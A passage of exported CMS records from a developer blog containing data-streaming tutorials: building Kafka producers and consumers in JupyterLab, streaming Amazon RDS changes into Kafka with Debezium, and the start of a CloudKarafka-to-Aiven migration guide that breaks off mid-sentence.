\u003cdiv\u003e\n \u003cp className=\"opacity-50 text-sm mt-6\"\u003e\n \u003ca\n href={item.wiki}\n className=\"underline decoration-transparent transition duration-300 ease-in-out hover:decoration-inherit\"\n \u003e{item.wiki}\u003c/a\n \u003e\n \u003c/p\u003e\n \u003c/div\u003e\n \u003c/div\u003e)}\n\u003c/div\u003e\n```\n\nYou can find the complete [index.js in the github repository](https://github.com/Aiven-Labs/what-movie-to-watch-pgvector/blob/main/pages/index.tsx).\n\n### Final verdict: PGVector, TensorFlow, Node.js, and Next.js: success or hiccup?\n::youtube[Video for Step 8]{#kpBca_clIj0}\n","feature":{"_type":"featuredItem","active":true,"endDate":"2024-10-21T11:48:00.000Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"def308ccd69f","_ref":"8fe00684-fc9b-413d-9f61-98889297feec","_type":"tag"}],"publishedAt":"2024-03-18T12:48:04.141Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"White text reading: TensorFlow, PostgreSQL, PGVector, and Next.js: building a movie recommender","asset":{"_ref":"image-5a28e31f9035059a822ca0b004149ab2f8d56e16-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/building-a-movie-recommender"},"subtitle":"Leveraging TensorFlow, PostgreSQL®, PGVector, and Next.js for vector search with this step-by-step video guide.","tags":[{"_key":"54451688a816","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"fc33e519c2f2","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"2be46d2b9b9c","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"29b7654e7cda","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender"} {"__i18n_lang":"en","_createdAt":"2023-08-07T06:48:10Z","_id":"2dc31ac9-3761-40fd-bf1d-b48bff2f9435","_rev":"ZxCjdMWwjhy9DmKAIc09Ql","_type":"devArticle","_updatedAt":"2024-10-29T10:40:46Z","body":"One of the best ways to learn a new technology is to try it within an assisted environment that anybody can replicate and get working within few minutes. Notebooks represent an excellence in this field by allowing people to share and use pre-built content which includes written descriptions, media and executable code in a single page.\n\nThis blog post aims to teach you the basics of Apache Kafka® Producers and Consumers through building an interactive notebook in Python. If you want to browse a full ready-made solution instead, check out our [dedicated github repository](https://github.com/Aiven-Labs/python-notebooks-for-apache-kafka).\n\n\u003c!--\n::banner[Join the online workshop where we follow this tutorial.]{ctaText=\"Read more and register\" ctaLink=\"https://aiven.io/video/workshop-learn-apache-kafka-with-python\" title=\"Workshop: Learn Apache Kafka with Python\" background=\"\" theme=\"light\"}\n--\u003e\n\n## Language support and multi-window GUI: the case for JupyterLab\nOne of the main actors in the notebook space is the [Jupyter project](https://jupyter.org/). With **JupyterLab** it provides a solid web interface where it's possible to create and distribute notebooks written in a variety of languages (named [kernels](https://jupyterlab.readthedocs.io/en/stable/user/documents_kernels.html#:~:text=In%20the%20Jupyter%20architecture%2C%20kernels,file%20in%20the%20kernel%20interactively.) in Jupyter terms).\n\nJupyterLab can be started as Docker container. Using Docker allows us to focus on learning without having to deal with software installation and configuration: a big win for productivity. We start by creating a folder on named `kafka-jupyter` and navigating to it. If you prefer terminal over a GUI, you can achieve the same result by issuing the following two commands:\n\n```shell\nmkdir -p kafka-jupyter\ncd kafka-jupyter\n```\n\nNow we can start the Docker container with the following command:\n\n```shell\ndocker run \\\n --rm -p 8888:8888 \\\n -e JUPYTER_ENABLE_LAB=yes \\\n -v \"$PWD\":/home/jovyan/work \\\n jupyter/datascience-notebook\n```\n\nThe above command will create a Jupyter Docker container, with JupyterLab enabled, mapping the existing `kafka-jupyter` folder in it. This step is required if we want to share files from the host computer to the guest. When the above command is executed, we see a message like this:\n\n```\nTo access the server, open this file in a browser:\n file:///home/jovyan/.local/share/jupyter/runtime/jpserver-9-open.html\n Or copy and paste one of these URLs:\n http://639a69244ab1:8888/lab?token=5031e1652236a8050ea2a9213df7c6ade24a790d3710b239\n http://127.0.0.1:8888/lab?token=5031e1652236a8050ea2a9213df7c6ade24a790d3710b239\n```\n\nNow, JupyterLab is accessible at `http://127.0.0.1:8888/?token=\u003ctoken\u003e`, where `\u003ctoken\u003e` is the one shown in the above message.\n\nOne of the great things about JupyterLab is that it provides an easy GUI-driven method to configure and arrange the user interface. This makes it the perfect choice to learn not only sequential step-by-step tutorials, but also more complex and branched examples where multiple code sections have to run in parallel... Can you see where I'm going?\n\n## Why Kafka on a Notebook?\nApache Kafka is a streaming technology. This means that to understand its beauty you need to have data flowing from Point A (aka the Producer) to Point B (aka the Consumer). Kafka step-by-step tutorials can become complex to follow, since they usually require continuously switching focus between various applications or windows. JupyterLab, with its great language support and multi-window layout, is the perfect way to dig into the basics of Kafka with text descriptions, media and executable code available in a single Web UI. This way you can focus on technology concepts rather than on your local setup.\n\nNow, as a basic playground, let's create an Aiven for Apache Kafka® instance with [Aiven Console](https://console.aiven.io/). If you haven't done it already, [sign up for an Aiven account](https://console.aiven.io/signup) and redeem the free credit to start your trial.\n\nTo create a Kafka Service, select a **cloud provider**, the **region** where you want to deploy the service and the **plan** which determines the amount of resources available for your cluster. Finally set the **service name**; in this example we'll refer to an instance named `kafka-notebook` but you can choose any name you wish.\n\n::alert[Tip! A [video](https://www.youtube.com/watch?v=YH-S3Huwfms) is available allowing you to review the whole service creation process.]{type=\"success\"}\n\nWhile we wait for the service to be ready, let's click on it to check its details. On the **Overview** tab we can find the **Host** and **Port** information we'll later use to connect to the cluster. While we're here, we can download the three SSL certificates required to authenticate to Kafka (**Access Key**, **Access Certificate** and **CA Certificate**) into our local `kafka-jupyter` folder.\n\n![service-overview](//cdn.sanity.io/images/sczeoy4w/production/b51c1d455a8d690ccfb4187be3bf1e24249771b4-1893x739.png \"Service overview in the Aiven Console\")\n\nLast change required: we need to scroll down the **Overview** tab to the **Advanced configuration** section and enable the `kafka.auto_create_topics_enable` parameter which will allow us to produce messages to Kafka without needing to create a topic beforehand.\n\nNow, it's time for an espresso while we wait a couple of minutes until all the `Nodes` lights turn green, meaning that our `kafka-notebook` Kafka instance is running and ready to be used.\n\n🟢🟢🟢 \n\n## Producing the first message\nIf we now check the JupyterLab Web UI at `http://127.0.0.1:8888/`, we should see something like this:\n\n![web-ui](//cdn.sanity.io/images/sczeoy4w/production/711098831b461a3c99daca55f39a8b7ea4db7208-1893x736.png \"JupyterLab WebUI\")\n\nOn the top left we can spot the `work` folder. By double clicking on it we can see that it contains the three certificates (`ca.pem`, `service.cert`, `service.key`) we downloaded earlier in our host `kafka-jupyter` folder. It's now time to create a Kafka producer by selecting the **Python 3** icon under the **Notebook** section of the main page. A notebook will be opened with a first empty cell that we can use to install the Python library needed to connect to Kafka. Copy the following in the cell and run it:\n\n```\n%%bash\npip install kafka-python\n```\n\nEven if we are creating a Python notebook, the prefix `%%bash` allows us to execute bash commands. This section installs [kafka-python](https://pypi.org/project/kafka-python/), a Python client for Apache Kafka.\n\nNow we're all set to produce our first record to Kafka.\n\nA new empty code block should already be there, if not let's click on the `+` icon on top of our notebook. In this new code section we'll speak Pythonese and create an instance of `KafkaProducer`. Copy and paste the following code into the block, replacing the `\u003chost\u003e` and `\u003cport\u003e` parameters with the ones taken from Aiven's console:\n\n```python\nfrom kafka import KafkaProducer\nimport json\n\nproducer = KafkaProducer(\n bootstrap_servers='\u003chost\u003e:\u003cport\u003e',\n security_protocol=\"SSL\",\n ssl_cafile=\"./ca.pem\",\n ssl_certfile=\"./service.cert\",\n ssl_keyfile=\"./service.key\",\n value_serializer=lambda v: json.dumps(v).encode('ascii')\n)\n```\n\nThe code creates a producer, pointing to Kafka via the `bootstrap_servers` parameter and using the `SSL` authentication and the three SSL certificates. The `value_serializer` transforms our json message value into a bytes array, the format requested and understood by Kafka.\n\nNow let's produce our first message. Since it's time to think about summer holidays, we'll create a hotel booking message by pasting the following in a new code block and execute it. \n\n```python\nproducer.send(\n 'hotel-booking-request',\n value=\n {\n \"name\": \"Giuseppe Rossi\",\n \"hotel\": \"Luxury Hotel\",\n \"dateFrom\": \"25-06-2021\",\n \"dateTo\": \"07-07-2021\", \n \"details\": \"I want the best room 😀😀😀😀😀!!!!\"\n }\n)\nproducer.flush()\n```\n\nThe above code adds Giuseppe's booking for Luxury Hotel to a buffer of pending records, which will be sent to a topic named `hotel-booking-request`. With the `flush()` method we make sure the record is actually sent to Kafka. Let's save our producer notebook as `Producer.ipynb`.\n\nHappy times! Our 1st message has gone to Kafka. How can be sure? Well... let's create a Consumer.\n\n## Consuming the Message(s)\nWe now create a new Python notebook to host our Consumer code. In general, it's a good idea to create separate notebooks for producer and consumer, since they solve two different problems and are usually placed in different sections of the containing application. It also enables us to keep the related code separate and to focus only on one block at the time. \n\nNevertheless, JupyterLab allows us to visualise the Consumer alongside the Producer, to do this we drag and drop the newly created notebook alongside the Producer one as shown in the image below.\n\n![move-consumer](//cdn.sanity.io/images/sczeoy4w/production/7ed3b81488fa9e6cf39dbf1dee0eff386bfdd5ad-1894x738.gif \"Dragging and dropping the notebook\")\n\nIt's time now to create a `KafkaConsumer`, by pasting the following code into the first code block of our new notebook and, after amending the `\u003chost\u003e:\u003cport\u003e` section as done in the producer, executing it.\n\n```python\nfrom kafka import KafkaConsumer\nimport json\n\nconsumer = KafkaConsumer(\n bootstrap_servers='\u003chost\u003e:\u003cport\u003e',\n security_protocol=\"SSL\",\n ssl_cafile=\"./ca.pem\",\n ssl_certfile=\"./service.cert\",\n ssl_keyfile=\"./service.key\",\n value_deserializer = lambda v: json.loads(v.decode('ascii')),\n auto_offset_reset='earliest'\n)\n```\n\nThe consumer is ready, pointing to our Kafka cluster and using a deserialization function that will take the bytes from the message value and transform them into a json structure performing the opposite transformation to the one made during the production phase.\n\nBy default a consumer starts reading from a Kafka topic from the point in time it attaches to the cluster. Previous messages are not read. We are changing this behaviour with the `auto_offset_reset='earliest'` parameter, allowing us to read from the beginning of the topic.\nWe are now ready to subscribe to the `hotel-booking-request` topic and start reading from it with the following code\n\n```python\nconsumer.subscribe(topics='hotel-booking-request')\nfor message in consumer:\n print (\"%d:%d: v=%s\" % (message.partition,\n message.offset,\n message.value))\n```\n\nThe consumer thread never ends: this is justified by the fact that we always want to consume messages as soon as they're available in the Kafka topic, and there is no \"end time\" in the streaming world. We should also see the first message appearing on our consumer console.\n\n```\n0:0: v={'name': 'Giuseppe Rossi',\n 'hotel': 'Luxury Hotel',\n 'dateFrom': '25-06-2021',\n 'dateTo': '07-07-2021',\n 'details': 'I want the best room 😀😀😀😀😀!!!!'}\n```\n\nNow if we go back to the Producer notebook, we can produce a holiday booking for `Carlo Bianchi` by pasting the following code in a new code block:\n\n```python\nproducer.send(\n 'hotel-booking-request',\n key=b'Average Hotel',\n value=\n {\n \"name\": \"Carlo Bianchi\",\n \"hotel\": \"Average Hotel\",\n \"dateFrom\": \"12-07-2021\",\n \"dateTo\": \"23-07-2021\", \n \"details\": \"Room next to the highway 🚗🚗🚗🚗\"\n }\n)\nproducer.flush()\n```\n\nAfter executing it, we should immediately receive the same message on the consumer side.\n\n```\n0:1: v={'name': 'Carlo Bianchi',\n 'hotel': 'Average Hotel',\n 'dateFrom': '12-07-2021',\n 'dateTo': '23-07-2021',\n 'details': 'Room next to the highway 🚗🚗🚗🚗'}\n```\n\nIf you're wondering what the `0:1` prefix is, check out the consumer code. They are the topics **partition** and **offset** meaning that we are reading the second message (offset starts with 0) from partition 0 of the topic. Our Producer/Consumer pipeline is working. Step 1 complete. Congrats!\n\n::banner[Try Aiven's fully managed and hosted Apache Kafka® now with a free 30-day trial and $300 credits to play with.]{ctaText=\"Get a free trial\" ctaLink=\"https://console.aiven.io/signup\" title=\"Looking for a data streaming solution?\" background=\"\" theme=\"dark\"}\n\n## Want more?\nIf this first notebook whetted your Kafka appetite, then check out our [pizza-based Kafka Python notebook](https://github.com/Aiven-Labs/python-notebooks-for-apache-kafka) for further examples of Kafka concepts like Partitioning, Consumer Groups and Kafka Connect. Please try the whole set of notebooks — and let us know if there's anything else you'd like included in it.\n\nThis blog post provides the first and very basic Apache Kafka Producer/Consumer setup, if you want to understand and test more, here are some additional resources:\n\n* [Aiven's console](https://console.aiven.io) to create Apache Kafka and other open source data platform instances\n* [Project Jupyter](https://jupyter.org/) where you can find information about JupyterLab\n* [kafka-python](https://pypi.org/project/kafka-python/) the Python library used to interact with Kafka\n\nAnd here's some further reading you might enjoy:\n* [Create your own data stream for Kafka with Python and Faker](https://aiven.io/developer/create-your-own-data-stream-for-kafka-with-python-and-faker)\n* [5 benefits of a Kafka-centric microservice architecture](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture)\n* [An introduction to Apache Kafka](https://aiven.io/blog/what-is-apache-kafka)\n\n## Wrapping up\nNotebooks represent an awesome method to learn new concepts and technologies by providing a way to incapsulate in a unique artefact text explanations, media, and executable code. JupyterLab, with its huge language support and multi-window layout, constitutes the perfect playground for technologies, like Apache Kafka, composed of multiple pieces working simultaneously.\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T06:48:06.197Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2021-05-10T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn the basics of Apache Kafka Producers and Consumers through building an interactive notebook in Python.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-cebe8efaf5fead58de68ab581fa55ac0f06c2a99-1200x628-jpg","_type":"reference"}},"metaTitle":"Teach yourself Apache Kafka® and Python with a Jupyter Notebook"},"slug":{"_type":"slug","current":"/developer/teach-yourself-apache-kafka-and-python-with-a-jupyter-notebook"},"subtitle":"Learn the basics of Apache Kafka® Producers and Consumers through building an interactive notebook in Python.","tags":[{"_key":"234b1ea2f21b","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"f1868b369129","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"2e2d24acaeba","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Teach yourself Apache Kafka® and Python with a Jupyter Notebook"} {"__i18n_lang":"en","_createdAt":"2023-10-04T11:47:40Z","_id":"45050741-902d-4098-bc79-e04882899f73","_rev":"VeNKqGNmt13PzvGhqsSeYi","_type":"devArticle","_updatedAt":"2024-01-29T15:45:38Z","body":"[Amazon RDS](https://aws.amazon.com/rds/) offers a PostgreSQL backend for applications. This tutorial show you how to build a real-time change data capture process to track the changes happening in one (or more) RDS tables and stream them into Apache Kafka®, where multiple consumers can receive the data with a minimal latency.\n\nWe'll use [Aiven for Apache Kafka®](https://aiven.io/kafka) as the destination for our streaming data. You'll also need an [AWS account](https://aws.amazon.com/) to follow along.\n\n## Create AWS RDS database\n\nHead to the [AWS Console](https://aws.amazon.com/console/) and:\n\n* Navigate to the **Products** tab\n* Select **Databases**\n* Click on **RDS**\n* Click on **Create Database**\n\n![Create database button](https://cdn.sanity.io/images/sczeoy4w/production/b782e804c42a99e5fee76f21733dce6309dcca93-903x187.png)\n\n* Select **PostgreSQL**\n* Give the database a name like `database-test`\n* In the **Availability and durability** section, select **Single DB instance** (for the purpose of this tutorial, the Multi-AZ DB instance and Multi-AZ DB Cluster are functionally equivalent)\n* In the **Settings** section, change the master password to `test12345`\n\nNote: For production use cases, use a secure password.\n\n* In the **Connectivity** section, select a VPC with an [internet gateway attached](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html) and enable **Public Access**. You also might want to check that the inbound traffic is allowed from the IP you'll try to connect to RDS from.\n\nNote: you can avoid exposing RDS to public access and connect it to Apache Kafka via [VPC peering](https://aiven.io/docs/platform/howto/manage-vpc-peering) or have the [Aiven for Apache Kafka®](https://aiven.io/kafka) service as part of your AWS account with the [Bring Your Own Cloud model](https://aiven.io/docs/platform/concepts/byoc).\n\n## Populate AWS RDS database\n\nOnce the database is created, we can review the details in the AWS console. In the **Connectivity and Security** section we can check the database hostname and port.\n\n![AWS Console showing the database details](https://cdn.sanity.io/images/sczeoy4w/production/ea51e67820ec662a9551669bdc3e9ffc63a6c2c3-1622x693.png)\n\nWith the above information, we can connect to RDS with [psql](https://aiven.io/docs/products/postgresql/howto/connect-psql):\n\n```bash\npsql postgres://\u003cUSERNAME\u003e:\u003cPASSWORD\u003e@\u003cHOSTNAME\u003e:\u003cPORT\u003e/\u003cDATABASE_NAME\u003e\n```\n\nWhere:\n\n* `\u003cUSERNAME\u003e` is the connection username, `postgres` if you left the default unchanged\n* `\u003cPASSWORD\u003e` is the connection password, `test12345` if you followed the above instructions\n* `\u003cHOSTNAME\u003e` is the database host, taken from the AWS Console\n* `\u003cPORT\u003e` is the database port, taken from the AWS Console\n* `\u003cDATABASE_NAME\u003e` is the database name, by default `postgres`\n\nIf you're using the defaults and have followed the above instructions, the `psql` call should be:\n\n```bash\npsql postgres://postgres:test12345@\u003cHOSTNAME\u003e:\u003cPORT\u003e/postgres\n```\n\nOnce connected, we can create a test table and insert some data:\n\n```sql\nCREATE TABLE FORNITURE (ID SERIAL, NAME TEXT);\n\nINSERT INTO FORNITURE (NAME) VALUES ('CHAIR'),('TABLE'),('SOFA'),('FRIDGE');\n```\n\nA query like `SELECT * FROM FORNITURE;` should provide the following results\n\n```bash\n id | name\n----+--------\n 1 | CHAIR\n 2 | TABLE\n 3 | SOFA\n 4 | FRIDGE\n(4 rows)\n```\n\n## Create an Aiven for Apache Kafka® service with Kafka Connect enabled\n\nIf you don't have an Apache Kafka cluster available, you can create one with Aiven by:\n\n* Navigate to the [Aiven Console](aiven.io/signup)\n* Click on **Create service**\n* Select **Apache Kafka®**\n* Select the cloud and region where the service will be deployed. Selecting the same cloud region where your RDS database is located will minimize latency.\n* Access the Aiven for Apache Kafka service page and enable: \n * **Kafka Connect** to perform the change data capture\n * **REST API** to browse the data from the Aiven Console\n * ``kafka.auto_create_topics_enable`` from the **Advanced configuration** section to automatically create topics based on the Kafka Connect configurations\n\n![Apache Kafka REST APIs and Kafka Connect enabled](https://cdn.sanity.io/images/sczeoy4w/production/831fb87e964b1f99680e659a337eea8f419a1b8a-1384x441.png)\n\n\n## Create a Change Data Capture process with the Debezium Connector\n\nOnce Aiven for Apache Kafka is running, the next step is to setup the CDC pipeline. To do so you can head to the **Connectors** tab, select the **Debezium for PostgreSQL** connector and include the following configuration:\n\n```\n{\n \"name\": \"mysourcedebezium\",\n \"connector.class\": \"io.debezium.connector.postgresql.PostgresConnector\",\n \"database.hostname\": \"\u003cHOSTNAME\u003e\",\n \"database.port\": \"\u003cPORT\u003e\",\n \"database.user\": \"postgres\",\n \"database.password\": \"\u003cPASSWORD\u003e\",\n \"database.dbname\": \"postgres\",\n \"database.server.name\": \"mydebprefix\",\n \"plugin.name\": \"pgoutput\",\n \"slot.name\": \"mydeb_slot\",\n \"publication.name\": \"mydeb_pub\",\n \"publication.autocreate.mode\": \"filtered\",\n \"table.include.list\": \"public.forniture\"\n}\n```\n\nWhere:\n\n* `database.hostname`, `database.port`, `database.password` are the RDS connection parameters found in the AWS Console\n* `database.server.name` is the prefix for the topic names in Aiven for Apache Kafka\n* `plugin.name` is the PostgreSQL plugin name, `pgoutput`\n* `slot.name` and `publication.name` are the name of the replication slot and publication in PostgreSQL\n* `\"publication.autocreate.mode\": \"filtered\"` creates a publication only for the tables in scope\n* `table.include.list` lists the tables for which we want to enable CDC\n\nAfter replacing the placeholders in the JSON configuration file with the connection parameters defined above you can start the connector by:\n\n* Navigating to the [Aiven Console](https://console.aiven.io/)\n* Navigating to the Aiven for Apache Kafka service page\n* Clicking in the **Connectors** tab\n* Clicking on **New Connector**\n* Selecting the **Debezium - PostgreSQL**\n* Editing the JSON connector configuration and pasting the JSON configuration defined above.\n* Clicking on **Create Connector**\n\n\nIf you hit the error below\n\n```\nThere was an error in the configuration.\ndatabase.hostname: Postgres server wal_level property must be \"logical\" but is: replica\n```\n\nYou'll need to enable [logical replication](https://aiven.io/docs/products/postgresql/howto/logical-replication-aws-rds). To check the logical replication run `show wal_level;` from a terminal connected to the PostgreSQL database, it should show the `wal_level` as `logical`.\n\n## Check the changes in Apache Kafka\n\nOnce the connector is up and running, you should see a topic named ``mydebprefix.public.forniture``, the concatenation of the ``database.server.name`` parameter and the RDS schema and table name. To check the data in the topic in the Aiven Console:\n\n* Navigate to the **Topics** tab\n* Click on the ``mydebprefix.public.forniture`` topic\n* Click on **Messages**\n* Click on **Fetch Messages**\n* Enable the **Decode from base64**\n\nYou should see the same dataset you previously pushed to RDS appearing in JSON format in the topic.\n\n![CDC data appearing in Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/94b5bf622526da7c214f9cd1a90f5b5af4e0f4d7-1381x1052.png)\n\nIf we perform an insert, delete and update using psql in the terminal connected to RDS, for example:\n\n```sql\nINSERT INTO FORNITURE (NAME) VALUE ('REFRIGERATOR');\nDELETE FROM FORNITURE WHERE NAME='FRIDGE';\nUPDATE FORNITURE SET NAME='COUCH' WHERE NAME='SOFA';\n```\n\nYou might get the following error:\n\n```bash\nERROR: cannot delete from table \"forniture\" because it does not have a replica identity and publishes deletes\nHINT: To enable deleting from the table, set REPLICA IDENTITY using ALTER TABLE.\n```\n\nTo solve the problem you can enable [full replica identity](https://www.postgresql.org/docs/current/sql-altertable.html#SQL-ALTERTABLE-REPLICA-IDENTITY) in the table with:\n\n```sql\nALTER TABLE FORNUTURE SET REPLICA IDENTITY FULL;\n```\n\nIf the above changes work, we should be able to see them in the Aiven for Kafka UI, by re-clicking on the **Fetch Messages** button.\n\n![The last three changes being visualized in Aiven for Apache Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/cde9c4a818fa2f24949028746c2e5ecdb7f2b99d-794x1180.png)\n\n## Conclusion\n\nSetting up a change data capture process from an RDS PostgreSQL database to Apache Kafka with the Debezium connector is a powerful method to be able to stream the inserts/updates/deletes to one or more consumers in real time. \n\nSome more resources if you are interested:\n\n* [Debezium PostgreSQL connector parameters](https://debezium.io/documentation/reference/stable/connectors/postgresql.html)\n* [PostgreSQL replica identity](https://www.postgresql.org/docs/current/sql-altertable.html#SQL-ALTERTABLE-REPLICA-IDENTITY)\n* [Limits of the JDBC source connector](https://www.confluent.io/events/kafka-summit-london-2022/jdbc-source-connector-what-could-go-wrong/)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-10-11T11:34:08.214Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"cde53d03ef79","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-10-04T11:33:05.845Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d425ec084db278839394ceb6d98874d3168551ec-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/cdc-amazon-rds-to-apache-kafka-debezium"},"subtitle":"Implement a real-time change data capture workflow from an Amazon Relational Database Service database using Aiven for Apache Kafka®","tags":[{"_key":"4a61b19fbd97","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"1b2bee0a57b7","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"9569acab8a0f","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"620a590f8e6d","_ref":"f51c71a3-c228-4f3a-b57b-12c3b1c7fc73","_type":"tag"}],"title":"Change Data Capture from Amazon RDS to Apache Kafka® with Debezium"} {"__i18n_lang":"en","_createdAt":"2024-02-09T08:57:06Z","_id":"4db51c97-c35b-4d6e-9bf3-86a6380e6794","_rev":"ie5WJlLr1SLUBaBgD0cC2q","_type":"devArticle","_updatedAt":"2024-02-26T06:39:39Z","body":"## What you will learn\n\nThis tutorial teaches you how to migrate from an instance of CloudKarafka Apache Kafka® to an Aiven for Apache Kafka® instance. \n\nIf you are migrating an Apache Kafka® cluster from another provider, see [the generic tutorial](https://https://aiven.io/developer/kafka-migration-mirrormaker2).\n\nThis tutorial covers:\n\n* Prerequisites: what should you pay attention to before migrating?\n* Syncing data with Apache Kafka MirrorMaker 2\n* Migrating Apache Kafka topic schemas\n* Migrating Apache Kafka ACLs (Access Control Lists)\n* Migrating Apache Kafka consumer group offsets\n* Migrating Apache Kafka clients and connectors\n\n\n## What are you going to build\n\nThis tutorial outlines all common the steps to migrate an existing Apache Kafka® cluster to a new service provider using MirrorMaker 2. \n\nAll migrations are different, so this is a general rather than specific guide. This tutorial outlines a set of checks, actions and processes to follow to perform a complete migration. \n\nWe'll use [MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) to migrate the data. MirrorMaker 2 is a fully managed distributed Apache Kafka® data replication utility.\n\n:::mermaid\ngraph LR;\n id1(CloudKarafka Apache Kafka cluster)-- source alias --\u003eid2(MirrorMaker 2);\n id2-- sink alias --\u003eid4(Aiven for Apache Kafka cluster);\n:::\n\n::alert[MirrorMaker 2 provides **asynchronous** replication across clusters. To avoid data loss during the migration, you need to ensure that the replication lag is **0** before pointing the new producers and consumers to the target Kafka environment. More information in the [monitor the MirrorMaker 2 replication flow lag](#monitor-the-mirrormaker-2-replication-flow-lag) section.]{title=\"Warning\" type=\"warning\"}\n\n\n## Prerequisites\n\nThis tutorial assumes you have both:\n- a CloudKarafka Apache Kafka® cluster at a **Dedicated** service level or above. \n\t- Aiven does not have equivalents for CloudKarafka's shared tenancy (developer) service levels. Before beginning, you must upgrade your cluster to any **Dedicated** service level. \n- an Aiven account. [Sign up for Aiven](https://aiven.io/signup) if needed.\n\nThe exact migration steps vary depending on the existing source Kafka system. This tutorial focuses on migrating the Apache Kafka topics to Aiven. \n\n## Note connection details in CloudKarafka \n\nLog into the CloudKarafka console and note the following - we'll need this information for the migration.\n\n![CloudKarafka service overview page with details highlighted.](https://cdn.sanity.io/images/sczeoy4w/production/45e91d2f5763070e42034d0662ffc7a9a6b7becb-2046x1360.png)\n\nFrom the Service Overview page:\n\n- The **Hostname**\n- The **Default user**, **Password**, **Port** and **Authentication method**\n\nFrom the Cluster page:\n\n![CloudKarafka Cluster page with server name highlighted. This will form the basis of the bootstrap servers in our next steps.](https://cdn.sanity.io/images/sczeoy4w/production/178304375d9d1a3c72e7144b9f075379c46d9e16-2044x1360.png)\n\n- The **Server details** for each server listed, in the format `servername.kafka.cloudkafka.com`. These will form the basis of the bootstrap servers we use in subsequent steps.\n\n\n## Optional: create a test topic and stream data to it\n\nIf you are migrating a production Kafka cluster, it might be useful to create a test topic with data in it to migrate first, before working with live data. \n\nYou can use [Aiven's Fake Data Producer](https://github.com/Aiven-Labs/python-fake-data-producer-for-apache-kafka) to do this. \n\nIn your CloudKarafka Kafka cluster, create a topic called **pizza-orders**. Then, use data faker the `SASL_SSL` security protocol option, omitting the `kafkaCerts` folder to stream data to it:\n\n```bash\npython main.py \\\n --security-protocol SASL_SSL \\\n --sasl-mechanism SCRAM-SHA-256 \\\n --username \u003cCLOUDKARAFKA_USERNAME\u003e \\\n --password \u003cCLOUDKARAFKA_PASSWORD\u003e \\\n --host \u003cCLOUDKARAFKA_SERVER\u003e \\\n --port \u003cCLOUDKARAFKA_PORT\u003e \\\n --topic-name pizza-orders \\\n --nr-messages 0 \\\n --max-waiting-time 0 \\\n --subject pizza\n```\n\nWhere:\n- `\u003cCLOUDKARAFKA_USERNAME\u003e` is the CloudKarafka **Deault user**\n- `\u003cCLOUDKARAFKA_PASSWORD\u003e` is the password of that default user\n- `\u003cCLOUDKARAFKA_SERVER\u003e` is the CloudKarafka **Hostname**\n- `\u003cCLOUDKARAFKA_PORT\u003e` is the CloudKarafka **Port**\n\nRemember to stop the data faker when you aren't actively using it!\n\n## Create an integration endpoint in Aiven\n\nThe first step you'll need to perform in the Apache Kafka migration is identifying the source Kafka cluster where the data is migrated from and create a connection to it. \n\nIf you're using Aiven for Apache Kafka, you need to define the source Kafka cluster as **External Integration** following the steps below:\n\n* Go to the [Aiven Console](https://console.aiven.io/).\n* Click on **Integration Endpoints**.\n \n ![The Aiven Console with the integration endpoints option highlighted](https://cdn.sanity.io/images/sczeoy4w/production/6a7ecf263f98c6b3603abe2c9e25255a355e3e45-1646x849.png)\n\n* Select **External Apache Kafka** and click on **Create New**.\n\n ![The Aiven Console with the option to create an External Apache Kafka integration highlighted](https://cdn.sanity.io/images/sczeoy4w/production/f5ba0b8c454513abe6babd7ff431ad38e3d2bfca-1280x655.png)\n\n* Give the endpoint a **name** (like `source-cluster`), this will later be used as reference by MirrorMaker 2. \n\n* Add the following parameters:\n\t* **Name**: The name of the endpoint, for example `source-cluster`. \n\t* **Bootstrap servers:** The CloudKarakfa Hostname and and **Port** listed in the format: `\u003cserver-details\u003e.kafka.cloudkafka.com:\u003cport\u003e`. \n\t* **Security Protocol**: SASL_SSL\n\t* **Username**: The CloudKarafka user name\n\t* **Password**: The CloudKarafka password\n\t* **SASL Mechanism**: SCRAM-SHA-512\n\nClick **Save**. \n\n\n## Create the target Kafka cluster and MirrorMaker 2 instance\n\nNext, create the Apache 